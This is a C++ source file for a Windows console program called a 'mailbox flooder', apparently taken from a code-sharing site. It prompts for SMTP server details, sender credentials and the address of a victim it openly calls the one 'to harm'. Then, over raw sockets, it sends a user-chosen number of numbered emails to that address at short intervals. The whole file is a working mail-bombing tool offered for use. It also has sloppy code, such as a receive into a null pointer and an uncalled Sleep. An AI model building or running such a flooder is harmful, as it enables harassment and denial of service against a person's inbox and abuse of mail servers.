📄 邮箱泛滥器.cpp
字号:
// 邮箱泛滥器.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include "邮箱泛滥器.h"
#include <string.h>
#include <sys/types.h>
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <iostream>
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
using namespace std;
/*-------------------------
base64 encode function
-------------------------*/
void base64enc(char *instr,char *outstr)
{
char * table="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
int instr_len=0,i=0,j=0,pad=0;
char buffirst[4]="",bufsecend[4]="";
instr_len=strlen(instr);
pad=instr_len%3;
for(i=0;i < instr_len;i=i+3)
{
if(instr_len - i == 2)
{
buffirst[0] = instr[i];
buffirst[1] = instr[i+1];
bufsecend[0] = buffirst[0] >> 2;
bufsecend[1] = (buffirst[0] & 0x03) << 4 | buffirst[1] >> 4;
bufsecend[2] = (buffirst[1] & 0x0f) << 2;
bufsecend[3] = '=';
bufsecend[0] = table[bufsecend[0]];
bufsecend[1] = table[bufsecend[1]];
bufsecend[2] = table[bufsecend[2]];
}
else if(instr_len - i == 1)
{
buffirst[0] = instr[i];
bufsecend[0] = buffirst[0] >> 2;
bufsecend[1] = (buffirst[0] & 0x03) << 4;
bufsecend[2] = '=';
bufsecend[3] = '=';
bufsecend[0] = table[bufsecend[0]];
bufsecend[1] = table[bufsecend[1]];
}
else
{
buffirst[0] = instr[i];
buffirst[1] = instr[i+1];
buffirst[2] = instr[i+2];
bufsecend[0] = buffirst[0] >> 2;
bufsecend[1] = (buffirst[0] & 0x03) << 4 | buffirst[1] >> 4;
bufsecend[2] = (buffirst[1] & 0x0f) << 2 | buffirst[2] >> 6;
bufsecend[3] = buffirst[2] & 0x3f;
bufsecend[0] = table[bufsecend[0]];
bufsecend[1] = table[bufsecend[1]];
bufsecend[2] = table[bufsecend[2]];
bufsecend[3] = table[bufsecend[3]];
}
strncat(outstr,bufsecend,4);
}
}
int MailSend()
{
CWinApp theApp;
WORD wVersionRequested;
WSAData wsaData;
SOCKET conn_socket;
int retval;
if ((retval = WSAStartup(0x202,&wsaData)) != 0)
{
fprintf(stderr,"WSAStartup failed with error %d\n",retval);
WSACleanup();
return -1;
}
char ServerAddress[27]="",FromMail[512]="",SendMail[512]="",UserName[512]="",Passwd[512]="";
int ServerPort,SendNum,time;
cout << "输入SMTP服务器的IP地址(暂时还不支持域名!): ";
scanf("%s",&ServerAddress);
cout << "输入SMTP服务器的端口号: ";
scanf("%d",&ServerPort);
cout << "输入你使用的发送帐号地址: ";
scanf("%s",&UserName);
cout << "输入你使用的发送帐号的密码: ";
scanf("%s",&Passwd);
cout << "输入你要加害的邮箱地址: ";
scanf("%s",&SendMail);
cout << "你要发送多少封就填多少啦: ";
scanf("%d",&SendNum);
cout << "每隔多久发送一封,填30就是1秒一封(注意:至少要填20以上,否则发送的时候会有丢失,最好根据服务器的响应速度来决定具体发送间隔): ";
scanf("%d",&time);
cout << "正在加密用户名和密码......" << endl;
Sleep(time);
char UserEncName[512]="";
char PasswdEnc[512]="";
base64enc(UserName,UserEncName);
base64enc(Passwd,PasswdEnc);
cout << "请检查您刚才所输入的参数!" << endl;
Sleep(time);
printf("The ServerAddress is %s\n",ServerAddress);
printf("The ServerPort is %d\n",ServerPort);
printf("The UserName is %s\n",UserEncName);
printf("The Passwd is %s\n",PasswdEnc);
printf("The SendMail is %s\n",SendMail);
printf("The SendNum is %d\n",SendNum);
printf("The SendTime is %d\n",time);
Sleep(time);
cout << "开始发送邮件......" << endl;
Sleep(time);
int sockfd,socktd;
struct sockaddr_in dest_addr;
int i;
for(i=1;i<=SendNum;i++)
{
sockfd=socket(AF_INET,SOCK_STREAM,0);
if(sockfd < 0)
{printf("Take the socketing ...... Error\n");}
dest_addr.sin_family=AF_INET;
dest_addr.sin_port=htons(ServerPort);
dest_addr.sin_addr.s_addr=inet_addr(ServerAddress);
// bzero(&(dest_addr.sin_zero),8);
socktd=connect(sockfd,(struct sockaddr*)&dest_addr,sizeof(struct sockaddr));
if(socktd < 0)
{printf("Connecting %s ...... Error\n",inet_ntoa(dest_addr.sin_addr));}
Sleep(time);
int sock,len;
char *msg="ehlo feng\r\n";
len=strlen(msg);
sock=send(sockfd,msg,len,0);
if(sock < 0)
{printf("Send ...... Error\n");}
Sleep(time);
char *login="AUTH LOGIN\r\n";
sock=send(sockfd,login,strlen(login),0);
if(sock < 0)
{printf("Login Error!\n");}
Sleep(time);
char *LoginUser=UserEncName;
sock=send(sockfd,LoginUser,strlen(LoginUser),0);
if(sock < 0)
{printf("LoginUser Error!\n");}
Sleep(time);
sock=send(sockfd,"\r\n",strlen("\r\n"),0);
if(sock < 0)
{printf("LoginUserEnter Error!\n");}
Sleep(time);
char *LoginPasswd=PasswdEnc;
sock=send(sockfd,LoginPasswd,strlen(LoginPasswd),0);
if(sock < 0)
{printf("LoginPasswd Error!\n");}
Sleep;
sock=send(sockfd,"\r\n",strlen("\r\n"),0);
if(sock < 0)
{printf("LoginPasswdEnter Error!\n");}
Sleep(time);
sock=send(sockfd,"MAIL FROM: <",strlen("MAIL FROM: <"),0);
if(sock < 0)
{printf("Send Mailfrom ...... Error\n");}
Sleep(time);
char *MailFromByte=UserName;
sock=send(sockfd,MailFromByte,strlen(MailFromByte),0);
if(sock < 0)
{printf("Send MailFromByte Error!\n");}
Sleep(time);
sock=send(sockfd,">\r\nRCPT TO: <",strlen(">\r\nRCPT TO: <"),0);
if(sock < 0)
{printf("Send RCPT TO Error!\n");}
Sleep(time);
char *SendMailByte=SendMail;
sock=send(sockfd,SendMailByte,strlen(SendMailByte),0);
if(sock < 0)
{printf("Send The SendMailByte_Mail Error!\n");}
Sleep(time);
sock=send(sockfd,">\r\nData\r\n",strlen(">\r\nData\r\n"),0);
if(sock < 0)
{printf("Send Data...... Error\n");}
Sleep(time);
const char *MailFromTo="From: <";
sock=send(sockfd,MailFromTo,strlen(MailFromTo),0);
if(sock < 0)
{printf("Send MailFrom...... Error\n");}
Sleep(time);
sock=send(sockfd,MailFromByte,strlen(MailFromByte),0);
if(sock < 0)
{printf("Send The MailFromByte_Mail Error!\n");}
Sleep(time);
sock=send(sockfd,">\r\nTo: <",strlen(">\r\nTo: <"),0);
if(sock < 0)
{printf("Send MailFrom Enter...... Error\n");}
Sleep(time);
sock=send(sockfd,SendMailByte,strlen(SendMailByte),0);
if(sock < 0)
{printf("Send SendMailByte_Mail...... Error\n");}
Sleep(time);
sock=send(sockfd,">\r\n",strlen(">\r\n"),0);
if(sock < 0)
{printf("Send SendMailEnter_Mail...... Error\n");}
Sleep(time);
const char *MailSubject="Subject: This is only a test mail! ^^\r\n\r\n";
sock=send(sockfd,MailSubject,strlen(MailSubject),0);
if(sock < 0)
{printf("Send MailData...... Error\n");}
Sleep(time);
char str[25];
sprintf(str,"%d",i);
sock=send(sockfd,str,strlen(str),0);
if(sock < 0)
{printf("Send MailData...... Error\n");}
Sleep(time);
char *MailDataEnd="\r\n.\r\n";
if(i - SendNum == 0)
{Sleep(30);}
else
{Sleep(time);}
sock=send(sockfd,MailDataEnd,strlen(MailDataEnd),0);
if(sock < 0)
{printf("Send MailDataEnd...... Error\n");}
Sleep(time);
msg=NULL;
sock=recv(sockfd,msg,1024,0);
if(sock >= 0)
{printf(msg);
printf("\n");}
if(SendNum - i == 0)
{Sleep(30);}
else
{Sleep(time);}
// char *EndMail="QUIT\r\n";
// sock=send(sockfd,EndMail,strlen(EndMail),0);
// if(sock < 0)
// {printf("Send QUIT ...... Error\n");}
// msg=NULL;
// sock=recv(sockfd,msg,1024,0);
// if(sock >= 0)
// {printf(msg);
// printf("\n");}
if(i - SendNum == 0)
{Sleep(30);}
else
{Sleep(time);}
Sleep(time);
printf("The %d Mail is Send!\n",i);
if(i - SendNum == 0)
{printf("Send OK\n");}
}
return(0);
}
// 唯一的应用程序对象
int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;
// 初始化 MFC 并在失败时显示错误
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
// TODO: 更改错误代码以符合您的需要
_tprintf(_T("错误: MFC 初始化失败\n"));
nRetCode = 1;
}
else
{
// TODO: 在此处为应用程序的行为编写代码。
if(MailSend() < 0)
{
cout << "Mail Send Error!" << endl;
}
}
return nRetCode;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -